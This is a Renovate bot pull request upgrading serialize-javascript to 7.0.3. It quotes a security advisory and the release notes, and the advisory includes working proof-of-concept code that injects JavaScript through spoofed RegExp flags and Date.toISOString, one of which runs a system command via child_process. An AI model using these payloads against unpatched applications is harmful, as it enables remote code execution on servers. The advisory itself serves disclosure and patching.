Skip to content

Update dependency serialize-javascript to v7 [SECURITY]#60

Open
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-serialize-javascript-vulnerability
Open

Update dependency serialize-javascript to v7 [SECURITY]#60
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-serialize-javascript-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Mar 3, 2026

This PR contains the following updates:

Package Change Age Confidence
serialize-javascript 3.1.0 → 7.0.3 age confidence

GitHub Vulnerability Alerts

GHSA-5c6j-r48x-rmvq

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@&#8203;placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!

#h2. PoC 2: Code Injection via Date.toISOString()
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!

#h2. PoC 3: Remote Code Execution
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@&#8203;rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

Release Notes

yahoo/serialize-javascript (serialize-javascript)

v7.0.3

Compare Source

v7.0.2

Compare Source

What's Changed

Full Changelog: yahoo/serialize-javascript@v7.0.1...v7.0.2

v7.0.1

Compare Source

What's Changed

New Contributors

Full Changelog: yahoo/serialize-javascript@v7.0.0...v7.0.1

v7.0.0

Compare Source

Breaking Changes

  • requires Node.js v20+

What's Changed

New Contributors

Full Changelog: yahoo/serialize-javascript@v6.0.2...v7.0.0

v6.0.2

Compare Source

v6.0.1

Compare Source

What's Changed

New Contributors

Full Changelog: yahoo/serialize-javascript@v6.0.0...v6.0.1

v6.0.0

Compare Source

Changelog

  • Add support for URL's (#​123)
  • Bump mocha from 9.0.0 to 9.0.1 (#​124)
  • Bump mocha from 8.4.0 to 9.0.0 (#​121)
  • Update Node.js CI matrix (#​122)
  • Bump mocha from 8.3.2 to 8.4.0 (#​120)
  • Bump lodash from 4.17.19 to 4.17.21 (#​119)
  • Bump y18n from 4.0.0 to 4.0.1 (#​116)
  • Bump chai from 4.3.3 to 4.3.4 (#​115)
  • Bump mocha from 8.3.1 to 8.3.2 (#​114)
  • Bump mocha from 8.3.0 to 8.3.1 (#​113)
  • Bump chai from 4.3.1 to 4.3.3 (#​112)
  • Bump chai from 4.2.0 to 4.3.1 (#​111)
  • Bump mocha from 8.2.1 to 8.3.0 (#​109)
  • Bump mocha from 8.1.3 to 8.2.1 (#​105)
  • Drop Travis CI settings (#​100)
  • Change default branch name to main (#​99)
  • GitHub Aactions (#​98)

Behavior changes for URL objects

It serializes URL objects as follows since this version. The result of serialization may be changed if you are passing URL object values into the serialize-javascript.

const serialize = require("serialize-javascript");

serialize({u: new URL("http://example.com/")}); // '{"u":new URL("http://example.com/")}'

Thank you @​rrdelaney for this release.

v5.0.1

Compare Source

Changelog

  • Exclude .vscode and .github directories from package (#​97)

v5.0.0

Compare Source

Changelog

  • Bump mocha from 8.1.2 to 8.1.3 (#​96)
  • Support sparse arrays (#​95)
  • Bump mocha from 8.1.1 to 8.1.2 (#​94)
  • Bump mocha from 8.1.0 to 8.1.1 (#​92)
  • Create Dependabot config file (#​91)
  • Bump mocha from 8.0.1 to 8.1.0 (#​90)
  • Bump lodash from 4.17.15 to 4.17.19 (#​89)
  • Bump mocha from 7.2.0 to 8.0.1 (#​88)

Behavior changes for sparse arrays

It serializes sparse arrays as follows since this version. The result of serialization may be changed if you are passing sparse arrays values into the serialize-javascript.

const serialize = require('serialize-javascript');

var a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
delete a[0];
a.length = 3;
a[5] = 'wat';
serialize(a) // 'Array.prototype.slice.call({"1":2,"2":3,"5":"wat","length":6})'

Thank you @​victorporof for this release.

v4.0.0

Compare Source

Changelog

  • Bump nyc from 15.0.1 to 15.1.0 (#​85)
  • support for bigint (#​80)

Behavior changes for BigInt

It serializes BigInt values as follows since this version. The result of serialization may be changed if you are passing BigInt values into the serialize-javascript.

v4.x:

const serialize = require('serialize-javascript');

serialize({big: BigInt('10')}); // '{"big":BigInt("10")}'

v3.x:

const serialize = require('serialize-javascript');

serialize({big: BigInt('10')}); // throws error

Thank you @​mum-never-proud for this release.

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependency This pull request updates a dependency label Mar 3, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

dependency This pull request updates a dependency

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants